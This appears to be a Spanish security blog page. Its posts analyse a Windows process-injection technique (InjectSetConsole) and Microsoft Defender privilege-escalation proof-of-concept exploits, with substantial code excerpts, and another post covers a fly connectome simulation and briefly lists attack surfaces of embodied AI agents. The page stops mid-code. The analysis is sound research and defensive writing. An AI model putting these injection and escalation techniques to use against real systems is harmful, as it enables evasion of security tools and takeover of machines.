Una filtración puede aportar el email, otras la dirección, el teléfono, información financiera, un documento.... Por separado pueden parecer piezas de escaso valor pero juntas pueden formar algo mucho más peligroso: una persona digital que puede ser utilizada sin que la persona real esté delante. Y quizá esa sea la mejor manera de entender cuánto valemos en el underground.

No somos una tarjeta de crédito de 7 euros, o un DNI de 50 o un un fullz de 100. Somos un conjunto de piezas que diferentes actores pueden recombinar hasta convertir nuestra identidad en una herramienta de fraude. La mercancía no somos nosotros. Es nuestra capacidad de demostrar que somos nosotros. Y cuando esa capacidad deja de estar bajo nuestro control, alguien puede estar dispuesto a pagar por ella.

InjectSetConsole: inyección de código en procesos remotos sin VirtualAllocEx ni WriteProcessMemory

2026-09-27T23:50:32.636+02:00

Cuando pensamos en process injection sobre Windows, probablemente la primera cadena que nos viene a la cabeza sea OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread. Es una técnica conocida y, precisamente por eso, una de las cadenas que los EDR llevan años monitorizando.

El proyecto InjectSetConsole, de TwoSevenOneT, parte de una idea bastante más interesante: ¿y si no escribimos directamente en la memoria del proceso remoto? En lugar de utilizar WriteProcessMemory, el PoC consigue que el propio proceso objetivo reciba los datos a través de su stdin y sea él quien termine almacenándolos en memoria.

La técnica comienza creando un anonymous pipe mediante CreatePipe y lanzando el proceso objetivo con su entrada estándar conectada a uno de los extremos. El código utiliza STARTUPINFO para redirigir stdin, stdout y stderr:

CreatePipe(&hChildStd_IN_Rd, &hChildStd_IN_Wr, &saAttr, 0);
SetHandleInformation(hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0);

si.hStdInput  = hChildStd_IN_Rd;
si.hStdOutput = hChildStd_OUT_Wr;
si.hStdError  = hChildStd_OUT_Wr;
si.dwFlags   |= STARTF_USESTDHANDLES;

CreateProcess(
    NULL, childPath.data(),
    NULL, NULL, TRUE,
    CREATE_NEW_CONSOLE,
    NULL, NULL, &si, &pi
);

A partir de aquí el atacante dispone de un canal de entrada perfectamente legítimo. El PoC introduce mediante ese canal un bloque de datos que contiene un marcador reconocible seguido del contenido que posteriormente pretende ejecutar:

WriteToPipeBin(
    hChildStd_IN_Wr,
    rawData,
    sizeof(rawData)
);

La clave está en que no conocemos de antemano dónde terminarán esos datos. No existe un VirtualAllocEx que nos devuelva una dirección remota. Por ello, el PoC utiliza una firma contenida en rawData y posteriormente recorre la memoria del proceso buscando esa secuencia.

La función FindPatternInRemoteProcess() utiliza precisamente las primitivas habituales de inspección de memoria, principalmente VirtualQueryEx y ReadProcessMemory, hasta localizar el marcador:

auto result =
    FindPatternInRemoteProcess(
        pi.hProcess,
        rawDataPattern
    );

Cuando encuentra la coincidencia, el inyector ya conoce la dirección donde el proceso ha terminado almacenando los datos. Es una inversión interesante respecto a la técnica tradicional: en lugar de reservar una dirección y escribir en ella, primero introducimos los datos y después descubrimos dónde los ha colocado el proceso.

El siguiente problema es que esa memoria no tiene por qué ser ejecutable. El PoC consulta la región y modifica sus permisos mediante VirtualProtectEx:

MEMORY_BASIC_INFORMATION mbi{};

VirtualQueryEx(
    pi.hProcess,
    (LPCVOID)*result,
    &mbi,
    sizeof(mbi)
);

DWORD oldProt = 0;

VirtualProtectEx(
    pi.hProcess,
    (LPVOID)*result,
    mbi.RegionSize,
    PAGE_EXECUTE_READWRITE,
    &oldProt
);

Aquí encontramos una de las paradojas de la técnica. Hemos conseguido eliminar VirtualAllocEx y WriteProcessMemory, pero la operación sigue dejando una huella clara: una región de memoria de otro proceso cambia sus protecciones para permitir ejecución.

Todavía falta conseguir que el procesador llegue hasta esa región. En lugar de crear un nuevo hilo mediante CreateRemoteThread, el proyecto obtiene el hilo principal del proceso y utiliza una técnica de thread hijacking para modificar su contexto de ejecución. En x64 esto implica, conceptualmente, redirigir RIP hacia la dirección encontrada:

DWORD tid = GetMainThreadId(pi.dwProcessId);

HijackThreadRip(
    tid,
    remoteAddress + 0x19,
    true
);

El 0x19 corresponde al desplazamiento existente entre el marcador utilizado para localizar el bloque y la parte que el PoC pretende ejecutar.

Por tanto, la cadena completa queda reducida a algo bastante elegante:

CreatePipe
    ↓
CreateProcess + stdin
    ↓
datos controlados → proceso
    ↓
FindPatternInRemoteProcess
    ↓
VirtualQueryEx / ReadProcessMemory
    ↓
VirtualProtectEx
    ↓
thread hijacking / RIP
    ↓
ejecución

La importancia de InjectSetConsole no está realmente en haber encontrado una API mágica que sustituya a WriteProcessMemory. Lo interesante es que cambia el canal mediante el cual los datos llegan a la memoria del proceso.

En una inyección tradicional tenemos:

ATACANTE ──WriteProcessMemory──> MEMORIA REMOTA

Aquí tenemos:

ATACANTE
    │
    │ stdin / pipe
    ▼
PROCESO
    │
    │ copia interna
    ▼
MEMORIA

El proceso víctima hace parte del trabajo por nosotros.

Y precisamente ahí aparece la verdadera lección para los EDR. Una detección basada únicamente en VirtualAllocEx + WriteProcessMemory + CreateRemoteThread puede perder esta variante, pero la cadena de comportamiento sigue siendo visible: creación del proceso, comunicación mediante pipe, inspección de memoria remota, cambio de protección y manipulación del contexto de un hilo.

Por eso quizá sea más correcto hablar de cambio de superficie de detección que de evasión completa.

La pregunta defensiva ya no debería ser simplemente "¿ha utilizado WriteProcessMemory?", sino algo bastante más interesante: ¿Cómo han aparecido estos bytes en el espacio de direcciones de este proceso y por qué un hilo legítimo ha terminado ejecutándolos?

Ahí es donde InjectSetConsole deja de ser simplemente otra técnica de process injection y se convierte en un buen ejemplo de la evolución de las técnicas ofensivas: cuando una API empieza a estar demasiado vigilada, no siempre hay que buscar otra API equivalente; a veces basta con conseguir que el propio proceso haga el trabajo.

Repositorio: TwoSevenOneT/InjectSetConsole

La mosca digital que tiene un cerebro conectado al mundo

2026-09-14T00:35:23.471+02:00

Estos días está circulando una demo en la que una mosca virtual, representada mediante realidad aumentada, recibe información del mundo a través de unas Spectacles y responde utilizando un sistema nervioso reconstruido a partir del cerebro de una mosca real. El resultado es una pequeña criatura digital que puede ver, reaccionar y mover su cuerpo virtual en función de lo que tiene delante.

Tu navegador no soporta la reproducción de vídeo HTML5.

Demo de una mosca digital ejecutando el conectoma MaleCNS. Vídeo original: @ZentrixHQ, creado por @pt_pavlo.

La forma más rápida de contarlo es decir que han creado una mosca artificial con cerebro propio. La forma más interesante, sin embargo, es bastante menos espectacular y bastante más técnica: han conectado un modelo computacional basado en el cableado neuronal de una mosca a un entorno y han cerrado el bucle entre percepción y acción. Para entender por qué esto tiene cierta importancia conviene empezar unas cuantas casillas antes, porque la palabra que está detrás de todo esto, conectoma, probablemente va a empezar a aparecer mucho más en conversaciones sobre inteligencia artificial.

El cerebro como un enorme grafo

Un conectoma es, simplificando bastante, un mapa de las conexiones de un sistema nervioso. Si pensamos en el cerebro como una red, las neuronas serían los nodos y las conexiones sinápticas serían las aristas que los unen. El objetivo de la conectómica (connectomics) es reconstruir ese grafo con el mayor nivel de detalle posible.

La idea no es nueva. Lo que ha cambiado radicalmente durante los últimos años es nuestra capacidad para obtener los datos necesarios.

Reconstruir un cerebro de esta forma no consiste en hacerle una resonancia y obtener una bonita imagen en 3D. Para conocer realmente la conectividad hay que observar las estructuras neuronales a una escala microscópica, identificar cada neurona, seguir sus prolongaciones y determinar dónde establece conexiones con otras células. En los proyectos modernos esto implica enormes volúmenes de microscopía electrónica, algoritmos de segmentación, reconstrucción tridimensional y bastante intervención humana para corregir los errores que inevitablemente aparecen cuando intentamos convertir imágenes microscópicas en un grafo neuronal.

El resultado se parece bastante más a reconstruir una infraestructura de red a partir de millones de paquetes capturados que a hacer una fotografía del cerebro.

Y aquí aparece una distinción importante. Un conectoma nos dice fundamentalmente cómo está cableado el sistema, pero no contiene automáticamente toda la información necesaria para simular su funcionamiento biológico. Saber que una neurona A está conectada con una neurona B no nos dice por sí solo todo lo necesario sobre la dinámica de esa conexión, los neurotransmisores implicados, la intensidad efectiva de la sinapsis, la actividad eléctrica, la neuromodulación o la plasticidad.

Por eso un conectoma no es un cerebro funcionando. Es, más bien, el plano de una máquina extremadamente compleja.

Y tener ese plano empieza a ser interesante cuando somos capaces de convertirlo en algo ejecutable.

La mosca que se dejó mapear

Drosophila melanogaster lleva décadas siendo una de las estrellas de la investigación biológica. Su pequeño tamaño, su ciclo de vida y la enorme cantidad de herramientas genéticas disponibles han convertido a la mosca de la fruta en uno de los organismos modelo más estudiados.

También tiene otra ventaja para los aficionados a la informática: su sistema nervioso es lo suficientemente pequeño como para que la reconstrucción completa empiece a ser técnicamente abordable.

Eso es precisamente lo que hace especialmente interesante a MaleCNS.

El proyecto de HHMI Janelia reconstruye el sistema nervioso central completo de un macho adulto de Drosophila melanogaster. La versión 1.0 contiene alrededor de 166.700 neuronas y 11.710 tipos celulares, cubriendo el cerebro central, los lóbulos ópticos y el cordón nervioso ventral.

Dicho de otra manera, tenemos algo que se aproxima bastante a un inventario completo de los componentes y conexiones de una máquina biológica capaz de percibir su entorno y producir comportamiento.

El dataset permite además consultar la conectividad mediante herramientas como neuPrint, con acceso programático a neuronas, sinapsis y relaciones entre ellas. Para cualquiera que venga del mundo del software, hay algo extrañamente familiar en todo esto: podemos preguntar qué neuronas están conectadas, seguir caminos dentro del grafo y estudiar cómo una determinada entrada sensorial puede propagarse por el sistema hasta alcanzar circuitos asociados al comportamiento motor.

El cerebro de una mosca empieza a parecerse, desde fuera, a una infraestructura que podemos inspeccionar con nuestras propias herramientas.

La diferencia es que en lugar de estar buscando una ruta entre dos servidores estamos siguiendo una ruta neuronal.

De un mapa neuronal a un sistema que funciona

Aquí es donde el asunto se pone interesante. Tener el conectoma no significa que podamos meter el fichero en una máquina virtual y arrancar una mosca. Hay que construir un modelo computacional capaz de representar la actividad de esas neuronas y traducir los estímulos del entorno a señales que tengan sentido para ese modelo. Después hay que hacer el camino inverso: convertir la actividad de determinados circuitos en acciones que afecten al cuerpo virtual.

Example visual-motor pathway in the fruit fly. Vídeo publicado en YouTube.

El concepto puede parecer sencillo sobre el papel, pero implica resolver una cantidad bastante seria de problemas de modelado.

Una arquitectura convencional de visión artificial podría hacer algo parecido a esto: CÁMARA -> RED NEURONAL / IA -> DECISIÓN -> ACCIÓN

El enfoque basado en un conectoma intenta mantener una estructura mucho más próxima a la organización de un sistema nervioso: ENTORNO -> SENSORES -> NEURONAS SENSORIALES -> CONECTOMA -> NEURONAS DESCENDENTES -> CIRCUITOS MOTORES -> CUERPO -> ENTORNO

La diferencia fundamental es que el sistema deja de ser una función estática de entrada y salida y pasa a comportarse como un bucle cerrado. Lo que hace en un instante modifica el estado del entorno y, por tanto, lo que recibirá como estímulo en el siguiente.

Esto es precisamente lo que hace que la palabra embodiment resulte apropiada. El sistema no está únicamente generando una respuesta sobre un mundo que observa desde fuera; tiene un cuerpo virtual, sensores y actuadores, aunque estos sean digitales.

Y aquí es donde podemos empezar a entender la demo que ha generado todo el ruido.

Una mosca dentro de la realidad aumentada

La propuesta descrita por los desarrolladores lleva el experimento un paso más allá de los videojuegos y los entornos puramente virtuales.

Las Spectacles proporcionan información del entorno físico. Las cámaras capturan lo que ocurre alrededor del usuario y el sistema construye una representación computacional de ese espacio. Esa información se utiliza para proporcionar estímulos al sistema nervioso virtual de la mosca.

El procesamiento sigue entonces el circuito neuronal reconstruido y sus salidas se convierten en acciones del cuerpo de la mosca. Las alas, las patas y la cabeza pueden reaccionar en el entorno de realidad aumentada.

La arquitectura resultante se parece aproximadamente a esto:

La diferencia con una animación tradicional es importante. Una animación puede decidir de antemano que la mosca debe girar cuando aparece determinado objeto. En este caso la intención es que la respuesta proceda del circuito neuronal que está procesando el estímulo.

No se está programando explícitamente cada reacción de la mosca. Se está proporcionando información al sistema y dejando que el modelo del circuito produzca una salida.

Esto tampoco es completamente nuevo en términos experimentales. El conectoma de MaleCNS ya se ha utilizado para conectar el sistema neuronal simulado a entornos virtuales y producir comportamientos en aplicaciones como Doom, Super Mario 64 o Beat Saber. Lo llamativo de la demo de realidad aumentada es que el entorno deja de ser únicamente un mundo digital diseñado para el experimento y empieza a incorporar información procedente del mundo físico.

Y ahí es donde la cosa empieza a ponerse realmente interesante.

No es un LLM jugando a ser una mosca

Estamos tan acostumbrados a la arquitectura actual de la IA que tendemos a imaginar cualquier sistema inteligente como una variante de la misma receta: un modelo grande recibe información, razona sobre ella, utiliza unas herramientas y devuelve una acción.

Una mosca funciona de una manera radicalmente distinta.

No necesita un modelo lingüístico para decidir que debe evitar una pared. No necesita generar una cadena de razonamiento para localizar una fuente de alimento. Su sistema nervioso está compuesto por circuitos especializados que reciben estímulos, mantienen estados internos y producen respuestas mediante una arquitectura que ha sido moldeada por millones de años de evolución.

Y aquí está una de las preguntas científicas más interesantes que permite plantear la conectómica: ¿cuánto comportamiento puede emerger directamente de la arquitectura de un sistema nervioso cuando le proporcionamos los estímulos adecuados?

La pregunta es muy distinta de entrenar una red neuronal para imitar el comportamiento observado de una mosca.

En el segundo caso estamos aprendiendo una función. En el primero estamos intentando reconstruir el mecanismo que genera esa función.

La diferencia recuerda un poco a la que existe entre entrenar un modelo para emular un sistema y conseguir ejecutar el sistema original.

Naturalmente, la analogía tiene límites. El MaleCNS no es una copia biofísica perfecta del cerebro de la mosca. Un conectoma tampoco contiene mágicamente todos los parámetros necesarios para reproducir cada proceso que ocurre en una neurona real. La simulación requiere modelos y aproximaciones.

Pero precisamente por eso el experimento resulta interesante: podemos empezar a medir cuánto comportamiento aparece cuando reconstruimos cada vez más fielmente la arquitectura neuronal.

Y aquí llega el hype

La parte que cogería con pinzas es el lenguaje utilizado alrededor de la demo.

Decir que la mosca virtual tiene un sistema nervioso basado en el conectoma de una mosca real es una afirmación técnica que podemos discutir y contrastar.

Decir que "ve a través de sus propios ojos" ya requiere matices, porque las entradas visuales están siendo capturadas por sensores artificiales y transformadas antes de llegar al modelo.

Pero el salto importante es la frase: The fly is experiencing a world.

Ahí ya no estamos hablando solamente de arquitectura, estamos hablando de experiencia subjetiva.

Y no tenemos ninguna base para afirmar que una simulación computacional de un conectoma esté teniendo una experiencia consciente del entorno. Podemos observar que procesa estímulos, que determinados circuitos se activan y que produce acciones coherentes con ellos. Podemos hablar de percepción en un sentido funcional.

Lo que no podemos hacer es convertir eso automáticamente en consciencia.

Es una distinción que conviene mantener, especialmente porque la terminología antropomórfica resulta tremendamente tentadora cuando un sistema empieza a comportarse de una manera que reconocemos como "animal".

La mosca puede estar procesando el mundo sin que eso implique que haya una pequeña mosca digital dentro de las Spectacles mirando Madrid.

El siguiente problema: embodiment

Lo que sí podemos afirmar es que estamos avanzando hacia una clase de sistemas de IA bastante diferente de los que hemos utilizado hasta ahora. Hace unos meses ya os hablamos de implementaciones de embodiment, mínimas pero incluso open source aquí.

Un agente embodied tiene que resolver problemas que un modelo puramente digital puede ignorar. La percepción puede ser imperfecta, el entorno cambia, las acciones tienen consecuencias y existe un feedback continuo entre lo que el agente hace y lo que percibe después. Esto introduce una superficie de fallo completamente diferente.

Si estamos acostumbrados a atacar un LLM mediante prompts, herramientas, memoria, RAG o interfaces MCP, un agente embodied nos obliga a mirar también los sensores y los actuadores.

Podemos pensar en algo así: SENSOR -> PERCEPCIÓN -> ESTADO INTERNO -> DECISIÓN -> ACCIÓN -> ENTORNO -> SENSOR...

Cada una de esas interfaces puede convertirse potencialmente en una superficie de ataque.

Un sensor puede ser engañado. Una representación del entorno puede ser manipulada. Una señal puede ser inyectada en el circuito equivocado. Una acción puede ser reinterpretada por el actuador. Y si además existe aprendizaje o memoria persistente, podemos empezar a pensar en problemas parecidos a state poisoning o manipulación del entorno de entrenamiento.

Para alguien que viene del red teaming, esto resulta bastante familiar. Solo hemos cambiado el objeto atacado. Ya no estamos haciendo prompt injection contra un chatbot. Estamos intentando encontrar qué ocurre cuando conseguimos que una criatura artificial perciba una cosa que no existe, deje de percibir una que sí existe o ejecute una acción distinta de la que produciría en condiciones normales.

Y eso puede convertirse en un campo bastante interesante si estos sistemas dejan de ser únicamente experimentos de laboratorio y empiezan a controlar robots, drones, dispositivos autónomos o interfaces con el mundo físico.

De la mosca a algo bastante más grande

No conviene sacar de aquí la conclusión de que estamos a punto de simular un cerebro humano. Estamos absurdamente lejos.

La escala, la complejidad y la riqueza dinámica del sistema nervioso humano hacen que la mosca y nosotros juguemos en ligas completamente distintas. Incluso dentro de la mosca, reconstruir el cableado no equivale a reconstruir toda su biología.

Pero hay algo que sí ha cambiado. Hasta hace relativamente poco, estudiar un cerebro significaba observarlo y tratar de inferir qué estaba haciendo. Ahora empezamos a disponer de mapas de conectividad lo suficientemente completos como para reconstruirlos computacionalmente, experimentar con ellos y conectarlos a entornos artificiales.

Ese cambio es mucho más profundo de lo que sugiere una mosca volando alrededor de una mesa mediante realidad aumentada.

Porque por primera vez podemos empezar a hacer una pregunta que se parece más a ingeniería que a neurociencia tradicional: ¿qué ocurre si ejecutamos el circuito?

Podemos modificar entradas. Podemos observar salidas. Podemos eliminar conexiones. Podemos introducir perturbaciones. Podemos comparar comportamientos. Podemos conectar el sistema a mundos diferentes y estudiar qué propiedades aparecen sin haberlas programado explícitamente una por una.

En cierto sentido, estamos convirtiendo el cerebro de una mosca en un sistema que podemos debuggear.

Y para quienes llevamos años mirando sistemas desde el otro lado del teclado, eso tiene algo inevitablemente tentador.

La pequeña mosca abre una puerta bastante grande

Por eso creo que merece la pena mirar más allá del titular de GPT-6 Astra y de la inevitable frase sobre una mosca que "experimenta" la realidad.

La noticia importante no es que una IA haya aprendido a hacer de mosca. Tampoco es que tengamos una consciencia artificial volando alrededor de nuestras cabezas.

Lo interesante es que tenemos un mapa extraordinariamente detallado de un sistema nervioso biológico y estamos empezando a utilizarlo como arquitectura computacional, conectándolo a sensores, simulaciones y cuerpos virtuales para cerrar un bucle de percepción y acción. Eso es embodied intelligence desde un ángulo bastante diferente al habitual.

Y quizá sea precisamente ahí donde esté una de las líneas de investigación más interesantes de los próximos años. No necesariamente en construir modelos cada vez más grandes que sepan describir el mundo, sino en construir sistemas que puedan percibirlo, actuar sobre él y aprender las consecuencias de sus propias acciones.

La mosca no necesita saber qué es un transformer. Nosotros sí.

Y mientras seguimos intentando enseñar a las máquinas a pensar como nosotros, quizá resulte que algunas de las respuestas interesantes estaban escondidas desde hace millones de años en un animal con unas 166.700 neuronas...

RoguePlanet, ShieldBreak y ShieldCrash: cuando Microsoft Defender se convierte en la palanca para elevar privilegios

2026-09-09T01:05:55.079+02:00

Hay una pequeña historia que se ha desarrollado durante los últimos meses alrededor de Microsoft Defender y que merece bastante más atención de la que ha recibido. No porque tengamos tres vulnerabilidades aisladas en un producto de seguridad, sino porque RoguePlanet, ShieldBreak y ahora ShieldCrash muestran una evolución bastante interesante en la forma de atacar un componente especialmente privilegiado de Windows: en lugar de buscar directamente una primitiva de kernel o un servicio SYSTEM expuesto, el atacante intenta conseguir que el propio Defender haga por él una operación que normalmente no podría realizar.

El punto de partida fue RoguePlanet, CVE-2026-50656, una vulnerabilidad de elevación de privilegios en Microsoft Malware Protection Engine. Microsoft corrigió el problema con la versión 1.1.26060.3008 del motor, publicada el 30 de junio de 2026. La propia documentación de Microsoft identifica esa actualización como la corrección de CVE-2026-50656.

La PoC pública de RoguePlanet dejaba bastante claro el impacto: un usuario local sin privilegios podía llegar a obtener una shell SYSTEM. El propio autor describía el bug como una condición de carrera y advertía de que su fiabilidad dependía de la máquina. El código puede consultarse en MSNightmare/RoguePlanet y existe además una implementación independiente de análisis de CVE-2026-50656 en 0xBlackash/CVE-2026-50656.

La importancia de RoguePlanet no está únicamente en el bug concreto. Está en el modelo de ataque. Defender ejecuta código con privilegios elevados y procesa continuamente ficheros que el usuario puede crear o modificar. Eso significa que cualquier operación aparentemente inocua de comprobación, apertura, resolución o limpieza puede convertirse en una primitiva de elevación si existe una ventana en la que el atacante consiga cambiar la identidad real del objeto que Defender cree estar procesando.

En términos simplificados, el problema de fondo se parece a esto:

// Conceptualmente:
HANDLE h = OpenFile(attacker_controlled_path);

// Defender valida el objeto al que apunta el path...
Validate(h);

// ...pero existe una ventana temporal en la que
// el atacante puede modificar la resolución del path.

// Una operación posterior realizada con SYSTEM
// termina actuando sobre un objeto distinto.
PrivilegedOperation(h);

No es necesario que el atacante obtenga directamente el token de SYSTEM. Basta con conseguir que una operación realizada por SYSTEM termine apuntando a un objeto controlado o elegido por el atacante. Es la clásica combinación de resolución de nombres, condiciones de carrera y privilegios del confused deputy, aplicada a un motor antivirus.

Microsoft cerró esa vía con el motor 1.1.26060.3008, pero el parche no eliminó el interés de la superficie de ataque. De hecho, poco después apareció ShieldBreak, CVE-2026-69414, y aquí la historia se vuelve bastante más interesante.

ShieldBreak no es simplemente una variante de RoguePlanet. La implementación pública es un PoC de unas 1.400 líneas y mezcla varias interfaces internas y subsistemas de Windows: MpClient.dll, las APIs del Malware Protection Engine, Cloud Files, CLFS, Object Manager y Windows Error Reporting. El código incluye explícitamente cfapi.h, taskschd.h y winternl.h, además de resolver dinámicamente funciones internas del motor de Defender.

Por ejemplo, la PoC obtiene dinámicamente las funciones necesarias para iniciar un análisis y posteriormente acceder al flujo de detección y remediación:

_MpManagerOpen = GetProcAddress(hm, "MpManagerOpen");
_MpScanStart   = GetProcAddress(hm, "MpScanStart");
_MpScanResult  = GetProcAddress(hm, "MpScanResult");
_MpThreatOpen  = GetProcAddress(hm, "MpThreatOpen");
_MpThreatEnumerate = GetProcAddress(hm, "MpThreatEnumerate");
_MpCleanOpen   = GetProcAddress(hm, "MpCleanOpen");
_MpCleanStart  = GetProcAddress(hm, "MpCleanStart");

Y posteriormente inicia un análisis sobre un recurso determinado:

MPRESOURCE_INFO scaninfo = { 0 };
scaninfo.Scheme = (wchar_t*)L"file";
scaninfo.Path = scan_target;

MPSCAN_RESOURCES scanrsrc = { 0 };
scanrsrc.dwResourceCount = 1;
scanrsrc.pResourceList = &scaninfo;

_MpScanStart(
    hbinding,
    MPSCAN_TYPE_RESOURCE,
    0x60004002,
    &scanrsrc,
    NULL,
    &scanctx
);

Esto es importante porque la PoC no intenta simplemente ejecutar código dentro de Defender. Utiliza el propio flujo legítimo de análisis como mecanismo para introducir al atacante en una operación privilegiada.

Una de las piezas más interesantes es Cloud Files. Windows proporciona mediante cfapi una infraestructura para que proveedores de almacenamiento implementen archivos placeholder y operaciones de hidratación bajo demanda. Cuando Defender inspecciona uno de esos objetos puede provocar una petición de datos al proveedor correspondiente. La PoC registra un callback de Cloud Files y responde a determinadas solicitudes con contenido que forma parte de sus propios recursos embebidos.

El patrón aparece directamente en el código:

void CALLBACK CLBK(
    CONST CF_CALLBACK_INFO* CallbackInfo,
    CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
    LARGE_INTEGER offset =
        CallbackParameters->FetchData.RequiredFileOffset;

    LARGE_INTEGER length =
        CallbackParameters->FetchData.RequiredLength;

    // ...
    // CF_OPERATION_PARAMETERS
    // TransferData.Buffer = contenido controlado
}

Es decir, el atacante no necesita que Defender abra directamente una DLL que él pueda modificar. Puede influir en el contenido que recibe Defender durante una operación de hidratación. Ese cambio de perspectiva es precisamente lo interesante de ShieldBreak: la primitiva no está en una función aislada, sino en la interacción entre un mecanismo de almacenamiento virtualizado y un consumidor privilegiado.

La segunda pieza importante es Object Manager. ShieldBreak utiliza directamente APIs nativas como NtCreateSymbolicLinkObject y NtCreateDirectoryObjectEx, obtenidas desde ntdll.dll. La propia PoC contiene wrappers alrededor de estas funciones:

_NtCreateSymbolicLinkObject =
    GetProcAddress(
        ntdllhm,
        "NtCreateSymbolicLinkObject"
    );

_NtCreateDirectoryObjectEx =
    GetProcAddress(
        ntdllhm,
        "NtCreateDirectoryObjectEx"
    );

y construye objetos simbólicos mediante OBJECT_ATTRIBUTES y UNICODE_STRING.

La razón de utilizar Object Manager en lugar de limitarse a symlinks del filesystem es que el exploit necesita manipular cómo determinados nombres son resueltos dentro del contexto en el que trabaja Defender. Es una capa bastante más baja que el clásico abuso de junctions o symbolic links de NTFS y permite construir una cadena en la que el nombre que Defender cree estar utilizando y el objeto que finalmente resuelve no son necesariamente equivalentes.

A partir de ahí entra CLFS. La PoC utiliza actividad del Common Log File System como mecanismo de sincronización para conseguir controlar el momento exacto en el que determinadas operaciones del flujo de Defender se producen. No estamos por tanto ante una única carrera sencilla del estilo check -> replace -> use; la explotación coordina varios subsistemas de Windows para crear una ventana suficientemente determinista.

Y aquí aparece la parte que convierte ShieldBreak en algo especialmente interesante desde el punto de vista de un investigador de vulnerabilidades: el objetivo final no es ejecutar código dentro de MsMpEng.exe. El objetivo es provocar una operación legítima de remediación que termine escribiendo bajo SYSTEM.

La PoC incorpora incluso recursos binarios dentro del propio ejecutable. El resource.h del proyecto define recursos para un ZIP, una DLL y un fichero WER:

#define IDR_ZIP1 101
#define IDR_DLL1 102
#define IDR_WER1 103

El código carga esos recursos con FindResource, LoadResource y LockResource, lo que permite que el exploit transporte los artefactos necesarios dentro del propio binario.

La cadena completa acaba consiguiendo que Defender, ejecutándose con SYSTEM, participe en la creación del artefacto que el atacante necesita. En las pruebas públicas aparece incluso phoneinfo.dll dentro de System32, y posteriormente el flujo de Windows Error Reporting permite utilizar ese artefacto dentro de una ejecución privilegiada. Es una forma especialmente elegante de convertir una operación de seguridad en una primitiva de escritura.

Aquí está la diferencia fundamental respecto a RoguePlanet. En RoguePlanet el atacante explotaba una carrera relacionada con la resolución del objeto. En ShieldBreak el atacante construye una cadena mucho más compleja en la que Cloud Files proporciona control sobre el contenido, CLFS proporciona sincronización y Object Manager proporciona control sobre la resolución de objetos, mientras que Defender aporta el privilegio necesario para completar la operación. El exploit no “rompe” SYSTEM; hace que SYSTEM trabaje para él.

Microsoft asignó CVE-2026-69414 a ShieldBreak y lo clasificó como una vulnerabilidad de elevación de privilegios en Microsoft Malware Protection Engine. La base de datos de GitHub recoge expresamente que Microsoft estaba trabajando en una actualización para solucionar el problema. La PoC original puede consultarse en MSNightmare/ShieldBreak y existe también una variante publicada en 1neptune/ShieldBreak.

Y entonces llega ShieldCrash.

El 8 de septiembre aparece MSNightmare/ShieldCrash y resulta bastante más interesante de lo que su README podría sugerir inicialmente. Microsoft corrigió varios de los elementos utilizados por ShieldBreak, pero dejó una ruta en la que, bajo determinadas condiciones, todavía es posible reproducir la primitiva original. La diferencia es que esta vez el autor no necesita llegar hasta una escritura privilegiada o una ejecución de código: la PoC demuestra una lectura arbitraria de archivos como SYSTEM. El propio README sigue describiéndola como un skeleton PoC y deja abierta la posibilidad de convertirla posteriormente en una elevación completa.

Lo interesante es que el código confirma que no estamos ante una PoC conceptual. ShieldCrash.cpp tiene alrededor de 1.470 líneas y conserva prácticamente todos los ingredientes que hicieron posible ShieldBreak: cfapi.h, winternl.h, acceso a las APIs internas de Malware Protection Engine, Cloud Files, Object Manager, oplocks y el mecanismo de hidratación. Incluso incorpora Warden.dll y eicar_com.zip como recursos del proyecto.

La primera diferencia importante aparece ya en la interfaz del programa. ShieldCrash recibe como argumento el fichero que quiere leer:

if (argc < 2)
{
    printf("Usage : %ws <path_to_leak>\n", argv[0]);
    return 1;
}

UNICODE_STRING symlinkftarget = { 0 };
_RtlDosPathNameToNtPathName_U_WithStatus(
    argv[1],
    &symlinkftarget,
    NULL,
    NULL
);

Es una señal bastante clara de cuál es la primitiva que está intentando demostrar: no existe aquí un payload de ejecución como objetivo final, sino un path_to_leak que acaba convertido a una representación NT y utilizado posteriormente en la cadena de redirección.

A partir de ahí ShieldCrash vuelve a construir un entorno Cloud Files controlado por el proceso atacante. Crea un directorio C:\ShieldCrash_<GUID>, le asigna ACLs que permiten acceso general y lo registra como un sync root. El código configura explícitamente una política de hidratación parcial y registra un callback CF_CALLBACK_TYPE_FETCH_DATA:

policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.Hydration.Modifier =
    CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED |
    CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;

CfRegisterSyncRoot(
    workdir.c_str(),
    &reg,
    &policies,
    CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT
);

CF_CALLBACK_REGISTRATION table[2];
table[0] = { CF_CALLBACK_TYPE_FETCH_DATA, CLBK };
table[1] = CF_CALLBACK_REGISTRATION_END;

CfConnectSyncRoot(
    workdir.c_str(),
    table,
    &attemptn,
    CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH |
    CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO,
    &key
);

La pieza crítica vuelve a ser CLBK. Cuando Cloud Files solicita datos para hidratar el placeholder, la PoC no recupera el contenido de un backend remoto: devuelve directamente recursos embebidos en el ejecutable. En la primera petición proporciona eicar_com.zip y posteriormente cambia a Warden.dll:

if (*RNA == 1) {
    opParams.TransferData.Buffer = pResourceData_zip;
    opParams.TransferData.Length.QuadPart = dwSize_zip;
    *RNA = 2;
}
else {
    opParams.TransferData.Buffer = pResourceData_dll;
    opParams.TransferData.Length.QuadPart = dwSize_dll;
}

opParams.TransferData.CompletionStatus = STATUS_SUCCESS;

opInfo.Type = CF_OPERATION_TYPE_TRANSFER_DATA;

CfExecute(&opInfo, &opParams);

El detalle importante no es el contenido concreto de esos recursos, sino que el proceso atacante controla la respuesta de una operación de hidratación. Cloud Files se convierte otra vez en una frontera de confianza: un consumidor privilegiado cree estar trabajando con un fichero determinado, pero el contenido que obtiene durante la hidratación procede de un callback controlado por el atacante.

ShieldCrash construye además dos directorios dentro de \BaseNamedObjects\Restricted: WD_TARGET_<GUID> y WD_SHADOW_<GUID>. Dentro de este último crea un enlace WD_SCAN que inicialmente apunta a una ruta UNC sobre el recurso administrativo C$:

std::wstring shlnktarget =
    L"\\??\\UNC\\localhost\\C$\\ShieldCrash_" +
